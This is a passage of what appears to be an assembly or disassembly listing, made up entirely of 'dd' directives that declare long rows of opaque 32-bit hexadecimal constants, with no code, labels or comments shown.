		dd 0B39A0F0Eh, 0A90F213Bh, 0C3BD8494h, 0D8D92838h, 1D365789h
		dd 0A2F4E4h, 1D60A143h,	0AE2A775Dh, 4C00B4BBh, 171626ACh
		dd 127E359h, 0FF424657h, 0F8AD9B7Dh, 20F5408h, 20AAFE8Bh
		dd 80360CD4h, 0B3C101A7h, 0AEBC3B07h, 84876067h, 46768D00h
		dd 89359B9Dh, 141200F6h, 92AA4001h, 84F81FA2h, 0C1096800h
		dd 5E1E44D7h, 1DA17510h, 9613B359h, 0FDAE003Ch,	33C0A808h
		dd 22663400h, 0D8D61B7Ah, 70550E1Ah, 0AA00DA82h, 3D79AE38h
		dd 0B7356401h, 0B2F81220h, 9E2630h, 3E210BDDh, 0C7940DECh
		dd 0FDADA103h, 93FFA6ABh, 0BDEC014h, 41E0A5h, 20646D1Ah
		dd 834AF35Ah, 57800800h, 0CA0F044Bh, 0EB2900B8h, 0C986EF19h
		dd 5F004CBEh, 953C76ADh, 30A28B40h, 52F4C848h, 5CE2AF87h
		dd 0BF6AAD00h, 0C024CD1Bh, 98FC508Ch, 4E3F0036h, 94306B81h
		dd 9D0098A1h, 0AEA407F5h, 1EFC3C1Eh, 9EB3BE66h,	0A3D30FDBh
		dd 35ED5DC0h, 0EB008B44h, 59B9FD1Ah, 3A5E1DF9h,	6080B830h
		dd 7D5761CAh, 42000A72h, 0A26C1198h, 8EB2B9h, 2E83CF90h
		dd 7CA623D4h, 0FB492A00h, 0E6C213DEh, 0C46A033Bh, 0E108A83Ah
		dd 756061D2h, 29072AA7h, 9C77C649h, 57E5C0CFh, 3F47311Dh
		dd 978539E7h, 0EA930F1Ch, 2FE87D0Fh, 0B140A0C3h, 74621727h
		dd 6F0207D1h, 50647C75h, 0AB6D4F58h, 12FC7900h,	817F26DBh
		dd 83130EA7h, 80FF19BAh, 0ECE1D92Fh, 72013021h,	719F28FBh
		dd 0CC45480Ch, 8DA01804h, 0B7CB8947h, 2AC0AF51h, 0F037C8E2h
		dd 0D88AC500h, 0F985F8FEh, 6B54003Dh, 5EC8F2Ch,	60E88BC9h
		dd 0DA0076E8h, 2E17EBBh, 0EEB035h, 0DCF73CF4h, 0D7DE1387h
		dd 0ACC48300h, 266C71F8h, 508B005Ah, 5EDA86Ah, 0DC05D909h
		dd 31BD6D44h, 1C06EC00h, 50122138h, 0E061D366h,	0F82F495h
		dd 2EB8A2FBh, 0A076E960h, 0A8924E50h, 1C7344h, 7E7DD59Fh
		dd 7535F9F6h, 66331B0Eh, 40F18FCDh, 4511ABC8h, 39C100B2h
		dd 8BF81427h, 66004B17h, 6B3E3250h, 519E6Ch, 0D0B4027Eh
		dd 1B791527h, 0A4662A07h, 96106430h, 0E28AB692h, 0DA91FC7h
		dd 2609008Ch, 519C7010h, 7DC81A00h, 0DB17833Eh,	80A10075h
		dd 0DFC253C6h, 0E8012A2Eh, 344628B1h, 3820FA10h, 81630065h
		dd 0A039AA6Eh, 0AE077009h, 0B83B18BDh, 0F6830520h, 0A1CD0042h
		dd 6D34F56Fh, 0C77BD545h, 0D8A35300h, 31808E37h, 4997001Dh
		dd 9178D6B3h, 5F77B22Fh, 0F69A2B00h, 558306C0h,	82BB0015h
		dd 0B02474AAh, 0ED00EBD6h, 66F4A77Ah, 0A97775h,	0DC1F10C6h
		dd 204ECBBBh, 0E81E5500h, 0E20D3359h, 0C49800FAh, 29018372h
		dd 1500D9D0h, 6EC29E0Eh, 37BC0B3h, 0EF6A1057h, 0BBB09D2Bh
		dd 0A9F0A733h, 0F5CFC500h, 6440B758h, 0F9E7445h, 0F289199Bh
		dd 4DE61CE0h, 0D70058BDh, 0CAA6F436h, 0A7BFDFh,	0C4170EDCh
		dd 1CE7F0ADh, 7E5FAB00h, 443058B9h, 0C1CB00A3h,	0E8848682h
		dd 0AE004B6Ah, 0D83F73ABh, 574DEAh, 0DCBEA195h,	4115C135h
		dd 0F451EC03h, 89B5D223h, 54F80220h, 85483F10h,	423A5D00h
		dd 9DE6AA4Ah, 28891A00h, 8E062661h, 5FFD2866h, 459000F4h
		dd 3CE1C45Eh, 0DF2623B7h, 48830819h, 0F812DBC6h, 0EA1C3DDCh
		dd 0FDB600D8h, 4759CEACh, 9E4C61CDh, 99283A4h, 9F2CD85Ch
		dd 56F4A037h, 46F70069h, 1D962ED0h, 0C27AE45Bh,	0FE471200h
		dd 1D69D41h, 7B80003Fh,	104F888Eh, 0F800359Eh, 702A0E02h
		dd 9014AE9Dh, 0E95B00ECh, 75C97E92h, 77F6ABECh,	80C70800h
		dd 0E0E728A5h, 95490043h, 3545B8CFh, 2E263ADh, 80488C00h
		dd 0A0A36CC2h, 77590754h, 0B07EFFC6h, 0FD57FC76h, 0B4D0A600h
		dd 71185B95h, 108DE8CBh, 0E5A7B7Eh, 407DFBF2h, 0D8A9949Ch
		dd 0B14A0B5Ch, 5D60AF0Ch, 3900A069h, 49D91816h,	98C14h
		dd 0F31DD2C0h, 476774A1h, 6B060300h, 0E9B6FBDDh, 199163C6h
		dd 38CBDEABh, 100077B3h, 0D6104815h, 22F28Fh, 1D993BDAh
		dd 0C0FBA7F5h, 70522A13h, 0E4DC7400h, 0A0038CB6h, 6D40B4h
		dd 76247EA8h, 4FE12C7Dh, 0E506A092h, 4CBF86Bh, 4DF20711h
		dd 0B1DD336Fh, 0C2BFB8BEh, 3E69C68h, 15850418h,	3A5C2028h
		dd 90981454h, 3F12019h,	0E4B6DF00h, 0AB5DEB9Bh,	0A93A00E7h
		dd 29AA7C69h, 0D80608F8h, 6D3B9512h, 2D9B3CD8h,	0DB7C1500h
		dd 9D7AB3EAh, 0A4CA223Dh, 50EEB7Bh, 0CB9180FEh,	7898D6Eh
		dd 0AF6C9672h, 0E03440F3h, 3C1D02A0h, 3142664Dh, 0E04ECDE5h
		dd 985D7660h, 0E39A0137h, 1B953EA1h, 5452D803h,	0E704D9E2h
		dd 0FB93FD7Ah, 0F7ED78C0h, 0BD2B005Bh, 2FCF6102h, 2D00FC3Bh
		dd 0E0AEDB45h, 0FF648BAh, 190D46D8h, 6288EF62h,	0D01C8C40h
		dd 0FE01997Fh, 5B970309h, 46D421E6h, 60400ED4h,	3263ABA6h
		dd 90A8C7A8h, 491CE17Ah, 0EF00E3E7h, 8A20BA29h,	3C2D31F0h
		dd 24BB3768h, 4D07C28Ch, 0C97F4423h, 3A022680h,	0BFB601BDh
		dd 49A7DFF1h, 0D0A0442Dh, 0CDB95250h, 54ACC600h, 8AE37D79h
		dd 4E5000Dh
		dd 0F7F9D666h, 1100D7FBh, 585682F8h, 5022CB5Ch,	5E6ECh
		dd 0C79B6A65h, 40FAB088h, 0F074F302h, 0C07650BAh, 627BB4h
		dd 7717A11Dh, 0F48871BEh, 0E0E1DF04h, 0AF85F33Fh, 20981000h
		dd 78323822h, 0DA9500CBh, 79706A2Ch, 12904A54h,	0E637F600h
		dd 8D7C066Bh, 0D214000Dh, 0BB77A330h, 0D4004E2Ah, 3FE22C11h
		dd 2E3CB9B0h, 287FC9h, 0A4E0D0C2h, 0DC1375AFh, 600E39Fh
		dd 94D50385h, 565D1F3Ah, 0E06E15h, 0A1B9F5B8h, 0AB3E7BC5h
		dd 118F801Bh, 77799CACh, 0A63C2448h, 32C500B1h,	7A941618h
		dd 60BDAB00h, 0DE7B5389h, 65360674h, 0C87007FEh, 798E9C01h
		dd 2FD112D9h, 4A5C20h, 0BB96E9Bh, 39A77683h, 0D0CD8103h
		dd 0C9F96A02h, 88203FB0h, 68265C70h, 32FE4404h,	95E88749h
		dd 0B81259h, 0FC1E2008h, 0DB000E90h, 0DDBE8414h, 70CE8FFEh
		dd 5CAB703Fh, 8B03FCCBh, 7D30B552h, 0EF061101h,	0D042F0EDh
		dd 0C9355700h, 488D431Ch, 0CC45B3C3h, 0DABAB025h, 0C87F0E8Fh
		dd 0F344ED70h, 145C9064h, 3660EA2Fh, 0A9A14441h, 7EBA09A2h
		dd 4A18898h, 47C839A4h,	4037D0DFh, 3CB8C3ECh, 65754892h
		dd 83BD5900h, 3C14F51Eh, 261C0008h, 279B0BFBh, 8BEE963Dh
		dd 72770E03h, 0D0818842h, 50789Dh, 0B5E8EB39h, 8B3FC4C5h
		dd 4A89AE30h, 0E36876h,	0CCACB7D2h, 4394F8E5h, 96693D00h
		dd 99BBB3Fh, 253B0037h,	838DFBD6h, 20000A0Ch, 784D58CDh
		dd 341EECh, 0CB6ABC57h,	0DDC81193h, 3E90E01h, 0DC4D0D7Dh
		dd 5C0AE0h, 0E7D0B65Bh,	6AA2C72Bh, 1B0EF000h, 0CF82EB8Eh
		dd 729E016h, 555C42C0h,	0D7EE4005h, 600594Ch, 0AD742BF0h
		dd 47680Dh, 0BAE84362h,	5B8F9533h, 2733200h, 34101992h
		dd 2515016Ch, 4F3ED262h, 3554CC9Dh, 98A05800h, 60854C89h
		dd 0D4F00196h, 5FACBCABh, 284308Ah, 0FC67F305h,	0FBE1F4Fh
		dd 9D805A47h, 0AED77B0Ah, 3834B900h, 0D32367D5h, 86BB00F8h
		dd 0BCA23B14h, 90074F21h, 583B004h, 2853BD00h, 57B8BFh
		dd 494499E8h, 7B0343Bh,	0CBE23900h, 0F70A385Dh,	1FF40325h
		dd 0F54BB216h, 69D8C01Dh, 0E7897580h, 366CF7h, 37DBC21Dh
		dd 0CE783CE4h, 692DC80Ch, 0D002D8h, 0BE8B5B81h,	0AB5157E9h
		dd 14C01962h, 0C5DA4156h, 0D0025883h, 31907DE8h, 6A001BF6h
		dd 94D4AD8Ch, 26CA41h, 224BEFF4h, 8479F917h, 478AAE00h
		dd 0A673253h, 5BBB0097h, 0E91D5F5Eh, 0F8009644h, 0C0218E55h
		dd 0F391CBh, 0A3F908A2h, 0B489E5C3h, 8162E003h,	0F839BDEEh
		dd 4C3C0Ch, 58324F3Bh, 0CC29F772h, 0C56AA40Eh, 2DE2203Eh
		dd 4CAC9813h, 5500CCA7h, 0EC2CA9BDh, 0B177BB48h, 66641801h
		dd 7F3395FBh, 22C6F0h, 0E8052790h, 303CFDDFh, 4B009CEEh
		dd 0D692CA4h, 1DA03E49h, 8CD5E450h, 3BB9607Fh, 32F78E00h
		dd 0E31FF113h, 400D0737h, 0D07AEE0Bh, 0DC3447B8h, 9017AE00h
		dd 4C7B9B20h, 40C118A4h, 643130FDh, 51B74B1Ch, 0D16F4C0h
		dd 0E070E7h, 0DA80A3C8h, 67340FB3h, 0DD23571Ch,	0B0CCB43h
		dd 0C13EF0BFh, 0F9486Bh, 15FA5600h, 8A26D5EEh, 0C3F20FB0h
		dd 14DFF203h, 0B0EC907Bh, 0A94FA8h, 1778E6FEh, 0B965F33Ah
		dd 982D3300h, 95A05BB4h, 5617EE1h, 3F3E017Dh, 8FDFC0D5h
		dd 9B0055B0h, 45C70E9h,	790CCA3h, 0F5104B2Dh, 0DCBB708Ch
		dd 0F03C66D3h, 0D78C50A1h, 0DF0DA202h, 0E01899E9h, 3E45FD17h
		dd 258361B7h, 37408E17h, 0F37E4BD0h, 0DC6A1900h, 38B2A5Dh
		dd 0ADE000BCh, 39791D9Ch, 6500BEB9h, 0EF51083Ah, 39A652E1h
		dd 0AA80D634h, 0DAEEF41Bh, 0DE0946C1h, 8007D5E5h, 47FB21D9h
		dd 916A0F0Ch, 0ED40ACE9h, 0F41E8EDFh, 0FA01B9F8h, 7ACB3031h
		dd 0E3709CA6h, 11F716Bh, 47861803h, 41D6C0F8h, 0FC2D74ACh
		dd 240032F5h, 0EA3B5F25h, 1E19B413h, 0C00D2CA5h, 251DD93h
		dd 18E8392Fh, 5852C007h, 0D597591Ch, 0F284C310h, 0E8775A6Fh
		dd 3400079h, 210CF086h,	1D2538F5h, 9C2AEB95h, 8336ED00h
		dd 0A5F33DFEh, 1C454B58h, 32402E12h, 0B2BFEC87h, 98DBEA63h
		dd 42580066h, 0EDB51161h, 0B000D850h, 0ADB8E869h, 0F00B53CEh
		dd 0CDA8C01Dh, 0B267646Ah, 0A26DF00h, 99705B19h, 3A2F033Bh
		dd 41C75FD2h, 0DBC1F0E0h, 3956A805h, 0EC00A559h, 734CDA07h
		dd 0FEEB8093h, 0DDB1100h, 66B47CF6h, 13C904E9h,	80295282h
		dd 698B2CDCh, 0C7225E04h, 0A807E2Dh, 79ECEh, 0B0B17480h
		dd 0CCDD8D61h, 8E501205h, 0EC0056FBh, 0D639B24Eh, 0AEF00F93h
		dd 0FDE05FAAh, 0C23DA8D9h, 8CFF7324h, 0AC418613h, 153676A5h
		dd 3D568C40h, 305F007Bh, 0EC625794h, 0AF002621h, 0BC45758Bh
		dd 66432Eh, 74EF9ACBh, 841195BDh, 15C6A200h, 1F7B938Fh
		dd 79717Ch, 0E327CAEBh,	0D92EE56Dh, 56992D00h, 584FC82Ch
		dd 90DE721Bh, 7CC74C86h, 0BB533C77h, 5009E48h, 9315D8ECh
		dd 0E000143Bh, 8C60A7BEh, 10BADAh, 70D60F77h, 497FF815h
		dd 1C327D00h, 0C13DD7D1h, 0FB710079h, 0C62801B5h, 0E800384Ah
		dd 9C741342h, 24E46Eh, 59A432ECh, 5B48B43Fh, 89A33Eh, 2EC693A2h
		dd 3DFF919h, 0A7D76672h, 0C4D090B4h, 1F8A41Ah, 54D69326h
		dd 0CC058B00h, 0A8FAC219h, 359289Ch, 17E09A51h,	8AE0C689h
		dd 877FC06Ch, 0DA039000h, 0ECD51D8h, 0BCB61D0Fh, 0A4EACEA2h
		dd 0E217A5E0h, 860074CCh, 77C52F3Eh, 0F613998Eh, 0F94B006Ch
		dd 4ABAC0D3h, 0C9CF1142h, 96E147E3h, 43304D20h,	997B61D1h
		dd 0D2FB548Eh, 81AB3040h, 8D0717F6h, 41BE9027h,	1D0B180Ch
		dd 5C0D820h, 350C572h, 78794318h, 7FF493Fh, 824DDF9Ch
		dd 8E97FB40h, 928500A8h, 0D8900DB2h, 8700BD1Bh,	630BCB95h
		dd 0DC494Dh, 0DB9E8C94h, 0D0E2287Eh, 9BB8120Ch,	8CD700Dh
		dd 5DC5710Bh, 7BD04540h, 0A0E56017h, 72E94839h,	6A598F00h
		dd 0BB1A6C6Fh, 0AD6116BAh, 9DC500E3h, 0E2A0BC1Dh, 9B7E430Eh
		dd 0B4646087h, 3B23FDh,	37D20B88h, 3928E3BCh, 0E0EF1D00h
		dd 8B357389h, 6F97002Bh, 0BC4D205Ah, 0F1002112h, 93F4C4B0h
		dd 390B579h, 3A273898h,	0D088F887h, 0A9CFC33Eh,	0CA3BA106h
		dd 0EAD45C22h, 94F703BBh, 0C58ED227h, 44980295h, 0EC489539h
		dd 0C10003D5h, 0F032D6F6h, 2CC390FFh, 0CB2C1Ch,	0B1E5278Ch
		dd 0D003C85Ch, 7556C587h, 783803DFh, 0C74F8A61h, 0BEC17900h
		dd 4B95030Fh, 6997606Ch, 5042D7C6h, 21D8AB1Fh, 17199C18h
		dd 482609E0h, 5889568h,	0C802BEE4h, 0A0BB0CDEh,	390C81DEh
		dd 22A98Ah, 0F2E22A7Fh,	809BA781h, 0ABC4C901h, 0CA269367h
		dd 0E4FF0480h, 2F0ED243h, 9E3C4700h, 4CE28F11h,	8098DE19h
		dd 0FB8B494Fh, 0C26FC9Fh, 7F1D8F77h, 9D787E39h,	0E5718F00h
		dd 0E4DA31C5h, 87CC00D8h, 134441D6h, 6B002E2Ah,	435129E1h
		dd 1928445h, 7D9EF8E2h,	9876183Fh, 82214E08h, 58920F8Ch
		dd 34A046EAh, 0C0E6A42Bh, 4DBE7400h, 23B878A0h,	0D7D20028h
		dd 331D0A53h, 0A9F8A15Ah, 0E5433200h, 9189518Fh, 50DE35h
		dd 841E2F49h, 9F0C6CC2h, 81DAAE2h, 7721C03Dh, 0E8221E67h
		dd 0EBC7F307h, 0B160207Bh, 50A8C0AFh, 0E9F734D8h, 3481A806h
		dd 82B1875h, 8CC2801Eh,	834048C4h, 6B701E63h, 4F086107h
		dd 0AA10D430h, 0ECA32CF3h, 433F063Bh, 3052A22Bh, 80712938h
		dd 6F2C7FA6h, 0ED243545h, 216E089Ah, 80A64340h,	784D7A06h
		dd 195FA1h, 0E6639AFh, 1D64AE46h, 40B86DFEh, 9A7389C0h
		dd 0F87DEAE9h
		dd 33A5070Ch, 0ED918DBBh, 0E4C4E821h, 362A1900h, 20248E7Bh
		dd 4F9D0018h, 7A99E153h, 68C340B9h, 8081A351h, 0C3DC03Ch
		dd 25D85DD6h, 0E6603B08h, 1309820h, 0EB2E00AFh,	8DAE31BDh
		dd 0A4A27DBFh, 9742A000h, 0ECA8CD5Fh, 94006690h, 745D850Ch
		dd 682BFFh, 566F7C3Dh, 0B199A425h, 2300AE78h, 0B3DB0657h
		dd 78665E1h, 0CCD75383h, 0F1FC618Bh, 5AB1F8E9h,	0F4E8D300h
		dd 3C38FB6Ch, 903200AAh, 7F40101Dh, 13E688D2h, 7A528000h
		dd 8316D305h, 0EBC7FA3h, 0CA43D933h, 2CE0C60Eh,	0A00A4ED5h
		dd 80A18238h, 0EC486F3Dh, 6852051Bh, 7F0410A3h,	6E7C2886h
		dd 0E1B50010h, 82D77135h, 513FCF81h, 839300B0h,	19284F7Fh
		dd 18617E1Ch, 2930FCB5h, 0EC89C495h, 278D24CAh,	394836F4h
		dd 2477E842h, 3DCE2081h, 0C34D8070h, 896DF188h,	62E608D5h
		dd 0CE5151A3h, 45ED800h, 437241h, 30CBFA23h, 0D487195h
		dd 0BDB6A900h, 7C1A3BD9h, 0E60E07EBh, 509FBC5Ch, 882B25C4h
		dd 0B9203200h, 7A54B770h, 0EE8FEAEFh, 0B44648B5h, 0A1CF2600h
		dd 85BDC60Bh, 62A4F507h, 8D60A2EFh, 7C79E714h, 0C9E403F8h
		dd 60CAC432h, 0D3C658E1h, 0F395C0B4h, 700F144Bh, 406FE678h
		dd 676E9B13h, 614400E3h, 0D59865CDh, 680663BDh,	402FA084h
		dd 7CEB0C30h, 0E28664Bh, 4D7DF03h, 0A75516h, 0DA10221h
		dd 599C35C7h, 0DF798F1Dh, 4BDBE1C0h, 7DC63Bh, 8ACB7A88h
		dd 15355065h, 22F08405h, 0FC036D44h, 0A87178B8h, 7BFDF34h
		dd 4C490EB6h, 9321C16Bh, 0F77880D9h, 0B0B2F471h, 0E695007Fh
		dd 0C0231072h, 12007E3Ch, 7B9A2BAFh, 7B025DEh, 0C96A44C7h
		dd 33800EEDh, 0D3657A51h, 50CF3E09h, 92340036h,	41C71Fh
		dd 462CE530h, 1EE1493h,	0FA2D7900h, 857F54C1h, 0A2F70F48h
		dd 9A03C3AFh, 0F6A87089h, 0E1718F3Eh, 7ECFD150h, 0C4014E00h
		dd 39F88B86h, 63680F83h, 482E29B1h, 0FF6FA1A0h,	740FDA5Ah
		dd 602349ACh, 0DB46A764h, 3D58009Dh, 616CAA20h,	0FF3DA33Bh
		dd 0A8BD9460h, 6AF000D6h, 40801C5Dh, 15050048h,	4722E681h
		dd 0E41FED2Ah, 0C500EAC6h, 0F6D35B11h, 8ECA00B1h, 7220E3CDh
		dd 4700BEC7h, 0FFD63754h, 52AB0Ah, 7D797E94h, 3657E171h
		dd 30CE1901h, 5FE906F9h, 0E79C20h, 0C8D2AEEFh, 2CE1C618h
		dd 0A357FB07h, 0BF409B0Dh, 3A47B2h, 6EC0B304h, 89E8E4F1h
		dd 0CD659804h, 0E48056BDh, 388D55Ah, 9751DC95h,	18A83F0Eh
		dd 3500CCC5h, 0A23B2A2Ch, 0F1A9B7h, 0D0121AA4h,	58C22731h
		dd 1C96A500h, 0FD3CAFC6h, 0F6D11C3Bh, 60B5B3h, 1F1D8684h
		dd 9207151Ah, 0B24D832Bh, 0B8473790h, 336700C3h, 0F6CABFEh
		dd 34F01223h, 64151305h, 0C8019FD2h, 0B4517636h, 1E61CC8h
		dd 0E3B6C64Ah, 407BADF3h, 6B9BDE9h, 2A38A090h, 0E6438009h
		dd 0A15966FCh, 0FDE504A5h, 805ABCCAh, 26EB8C7Ch, 379CD400h
		dd 27E161DDh, 748800CDh, 7ECCECC2h, 6200F092h, 317D1553h
		dd 672CBE0h, 0D744F496h, 0E002688h, 305EC3BEh, 2B8242h
		dd 6BED4733h, 15A9A864h, 0D222B800h, 0EA754921h, 0F69B0506h
		dd 7690DCBh, 0A00B5CB4h, 0F48E63A8h, 66F98500h,	9B995158h
		dd 0AFD100CEh, 1621963Fh, 530050EFh, 77065AD9h,	7BA8CA32h
		dd 0F26E06CCh, 201B6DF5h, 5500E071h, 723BAB6Ah,	0DA3A11h
		dd 0C22CF462h, 8BA6049Eh, 90CF6B28h, 0DEECEF00h, 0D9FE4A24h
		dd 9C0F0551h, 80911B09h, 3778FFC4h, 7032E1Ch, 0B700271Dh
		dd 71D84841h, 782F49Ah,	0F28B64CDh, 879454BDh, 0C3985192h
		dd 0C1A2C073h, 3C129E03h, 982F8AD3h, 0A16DB4h, 0EFBB5344h
		dd 0F9BF6964h, 0C0BC1600h, 0FFEC8D45h, 3B740392h, 0E239DA18h
		dd 0DF9D5388h, 1E000190h, 16C6694h, 13FC993h, 4F2452C4h
		dd 0E427C0E3h, 6F073AADh, 0FA1450D4h, 8D86D150h, 7EBA008Ah
		dd 0D22D430Ah, 0B1078F18h, 58A64E27h, 3C4701C0h, 0CF7900CEh
		dd 0FD08B9C4h, 21005932h, 0D6BBEB12h, 0EB39A01h, 0A74358F0h
		dd 0B49BA9A0h, 10001937h, 858CDDEBh, 319FD08Bh,	4860A4ACh
		dd 0BA15D430h, 4F2A3E00h, 82EDB56h, 139100FFh, 35EFA3EEh
		dd 9A3D8C0Ch, 0DE8B2EB4h, 0F900E0Eh, 7AC22046h,	0C877DEh
		dd 9B636DCBh, 0BDDFA3CDh, 0CAFA4800h, 0F062FCEBh, 3EC6005Eh
		dd 4C0F0109h, 105C02A2h, 71B30EF3h, 0CC272032h,	7F98818h
		dd 0D7EB5708h, 644B23C2h, 60142DB9h, 1D00FEB9h,	91882692h
		dd 1FD9BFB3h, 0C0BE82F8h, 0ADD67B65h, 0BC0E2EDDh, 80389D2Ah
		dd 5E37B257h, 0AAA70022h, 9A294AC0h, 6D04B8C1h,	6EA3F9D5h
		dd 2F489B80h, 0BF6A0F2Ah, 93608DE3h, 0FDAEC088h, 95F94300h
		dd 646103A8h, 54F0003Ch, 7F024575h, 24F63529h, 59853900h
		dd 9E0725E4h, 367FC38h,	1A88564Ch, 0C4F869CBh, 900E7B5h
		dd 437DB440h, 912F1Dh, 367857BAh, 0C42B86A2h, 5A127603h
		dd 805F7AD2h, 0AA1D60h,	8865279Dh, 7BA767ADh, 59841000h
		dd 0DCA82F4Fh, 0CD40C0F8h, 0B0295D9Bh, 18D7C40Eh, 0A088D8E2h
		dd 75F40040h, 0B70872D0h, 111DB439h, 0BAC092AAh, 2D55BDFEh
		dd 4CD700CAh, 49E9856Fh, 5D3DEEB5h, 7CF000B0h, 0F5B1C078h
		dd 3A045CBDh, 0BF160E05h, 0F785003Eh, 0F9A0F2A3h, 72DB011Ch
		dd 263C9h, 0A12FE918h, 0C250778Ch, 29D5CA10h, 0DA453040h
		dd 8049613Ah, 0E958FA94h, 0A748DE8h, 2F7AA40Fh,	0B3AC009Dh
		dd 3BAD0461h, 820E1600h, 9F5BC93h, 0BF4A00ECh, 0D1CF6372h
		dd 0A0031E7h, 0F3376955h, 0E58B76h, 5D7DEACBh, 6BFD52DCh
		dd 2CD85900h, 0B29A5FFFh, 302E00A3h, 0D1BCC26Fh, 75001CE4h
		dd 5E6961CFh, 2A2073Ah,	91FDE7F2h, 2C40C14Ah, 0B40098C3h
		dd 0A52F509Fh, 0BD43D34h, 3214BB85h, 53527900h,	4C26B9F0h
		dd 1007B41h, 97344877h,	0ED710156h, 0DC5B3DC9h,	0CC65C910h
		dd 0A300D4FEh, 86F2B0C4h, 0A52672h, 0ED8185C9h,	7125CE6Dh
		dd 13BD6C00h, 6EAB86D5h, 617687h, 0AD7649Dh, 9C502FF3h
		dd 23A13600h, 0CB3AFC22h, 6CF60006h, 39447FDCh,	98987862h
		dd 2CC10E00h, 83E7F04Eh, 9F9D38E4h, 0DC7EB700h,	25420928h
		dd 43A11300h, 0EF793FB1h, 3E2900E1h, 6498EDDAh,	0BF0754A9h
		dd 59C4931Ah, 490D7DD0h, 44233A71h, 9AEA0CF2h, 0ACE43AFEh
		dd 88B938C7h, 0C33C610h, 0CB44504Fh, 3D6471CFh,	2739E38Eh
		dd 3AAFF980h, 294711BDh, 0C5938D0Fh, 8016ABCBh,	6AC3A864h
		dd 73431D3Dh, 0C7CF41DFh, 0CCEE2491h, 16FA39A5h, 0F0086D2h
		dd 7470C68Dh, 0E5E280h,	17C72F05h, 50F3AECEh, 4C2424FEh
		dd 3680585Fh, 31C81398h, 0FCFD006Bh, 6281D7A7h,	3C002B23h
		dd 7784FE2Eh, 87052F7h,	0B16F5C93h, 0EE06CD00h,	1DB082D5h
		dd 43755AA8h, 9FE2D4D1h, 0EF549988h, 1C6B3B00h,	4CEC58CEh
		dd 0BBCD00E7h, 9A8B1A29h, 187B1036h, 2F8C20C0h,	53BF32h
		dd 78D2EE6Fh, 6C46ED69h, 0E97CC200h, 62867563h,	0DA6B0197h
		dd 7ECA91BEh, 0B28DEC90h, 45FBE10Fh, 0C3A400BCh, 0DAAF86h
		dd 0E038D080h, 934DF1E7h, 34CDD600h, 51F978F7h,	0F87E1265h
		dd 0E30403A7h, 20009417h, 580C147Fh, 3E9F8DDCh,	2700CE15h
		dd 784CD9A0h, 0C60F8467h, 3DCB3BCDh, 9A8DBDC0h,	61BD1h
		dd 485C20B7h, 0E3793641h, 62D43E00h, 1F12AB52h,	8A4D009Eh
		dd 0E5E20F99h, 69265A24h, 1001CF3h, 83FB3976h, 0A1CC008Bh
		dd 0EB4A99F6h, 58008775h, 73F0E26Dh, 3DE6A701h,	13851A36h
		dd 4EFB5CFh, 0C05D3384h
		dd 0FDE26A13h, 0A614B300h, 0A1DECE4Ah, 80591FEBh, 749BC0D1h
		dd 9E711E32h, 0C49D8524h, 19216E00h, 71F56B8h, 4A75F6Ch
		dd 91CD430Eh, 0E4B0D7DBh, 26058615h, 0A060B022h, 0F8440C80h
		dd 99C2005Dh, 0C946478Bh, 8495480h, 0A6280014h,	0AA0B353Bh
		dd 0CD3077Fh, 0D058A206h, 0C4EBD792h, 6D00FB7Fh, 82367C0Dh
		dd 4CD683h, 1408BFDAh, 0F1A52CB6h, 0F2886909h, 0D8840EAEh
		dd 0EE5F23C0h, 653B0046h, 0C85248A4h, 72007585h, 549EE35Bh
		dd 4D8D626h, 0BC30C0B8h, 42408066h, 9C03B060h, 95174897h
		dd 0A3ED9832h, 50EE0E79h, 0FB0077D2h, 0E54D2496h, 3E006AFAh
		dd 0BE587EE4h, 0CD079Dh, 0B9A626ACh, 0DD4E5ED1h, 8C6AF10Fh
		dd 713B81C3h, 0AB70E2C2h, 19DF0067h, 53A7DDA4h,	320EC3ABh
		dd 41491FF7h, 7BE44083h, 7B7E70D0h, 826D00D6h, 548ECB51h
		dd 0BC00101Dh, 40C60652h, 284E6B6h, 0F82CA71h, 0B0606413h
		dd 0BF4C9E20h, 0BBF00FF8h, 3D003DAEh, 0A2A1A554h, 72F0A85Dh
		dd 7320052Ch, 0C0294380h, 0C8748138h, 3688EC30h, 90178E22h
		dd 0A9FD00A5h, 675AD1AAh, 6574EBB9h, 0A7ED3400h, 0DB09F08Dh
		dd 0EE1FF4CCh, 97791398h, 762900ECh, 4E3F478Fh,	14B25A01h
		dd 78A5ED36h, 0FE0F54C0h, 0CC481D4Bh, 0F60B3D93h, 0E084F0B1h
		dd 6823C0BDh, 8700D4ECh, 7BC65394h, 1E08EC8h, 0FD8DC239h
		dd 34F7634Ah, 234C6E44h, 102E002Fh, 2792D9F3h, 7F7A002Bh
		dd 0D26866DFh, 0A13F73Eh, 40009C3Bh, 0E23F4505h, 40D83E5Bh
		dd 0BD38BB80h, 0F3F9AD08h, 0D57211C0h, 395F7BBFh, 620005D9h
		dd 0A463510Ah, 59E004F0h, 386D4Ch, 5EB6B65h, 19403D7h
		dd 97921613h, 7074E1A2h, 3C00AEA0h, 684E697Bh, 0C0C91D88h
		dd 45A475E0h, 120037CCh, 0FC6B445Eh, 675D94h, 5670117Eh
		dd 1BEB7FABh, 0AA91E516h, 0BA51D445h, 0E8CF6583h, 1A15BE1h
		dd 98446458h, 30EA1319h, 0ED7A92D4h, 4C16F512h,	0BE487845h
		dd 77519440h, 7C3FF09h,	0A22160E8h, 9F85604Fh, 65023CA3h
		dd 0CDB5093h, 0F77CC1DFh, 31E1D8h, 986004C7h, 80D668FEh
		dd 0C3264C00h, 0F5CBD19Fh, 456B0B15h, 0F40008EEh, 23B90B68h
		dd 34DC8409h, 0FE804088h, 0FC2D00DBh, 9EF756DDh, 0AF0C67E3h
		dd 9896A283h, 87382E80h, 0DEC8007Ch, 4E1E012Fh,	960A9518h
		dd 0E18840h, 7CD933C1h,	0B45F2AE8h, 55DB3Dh, 137BA47Dh
		dd 1C912177h, 0A0CE8Bh,	80451A96h, 0E41D5CF7h, 287BEF9h
		dd 807B9BC6h, 5DD4F023h, 0DD6B000Dh, 0DB62ABA1h, 7E010AE9h
		dd 8A74CC81h, 0D1E8A3EBh, 0DAFD000Eh, 4F83B449h, 0C4507D5Dh
		dd 66E855E0h, 3117EC00h, 9C4A64FEh, 0C7FD00B5h,	0B6902A1Dh
		dd 0B00254Bh, 8AB1457Bh, 715CBD5h, 8C519D32h, 0E03F77B0h
		dd 3EC4B801h, 73763811h, 8906F200h, 0B48F858Ch,	0B8B5C305h
		dd 80EAFB1Ch, 2BE411D2h, 95061500h, 922FE31Ah, 0C48B00BBh
		dd 0A8AB28C9h, 0C3013808h, 0E43A1B94h, 0D6C8EB7Ah, 428E1C76h
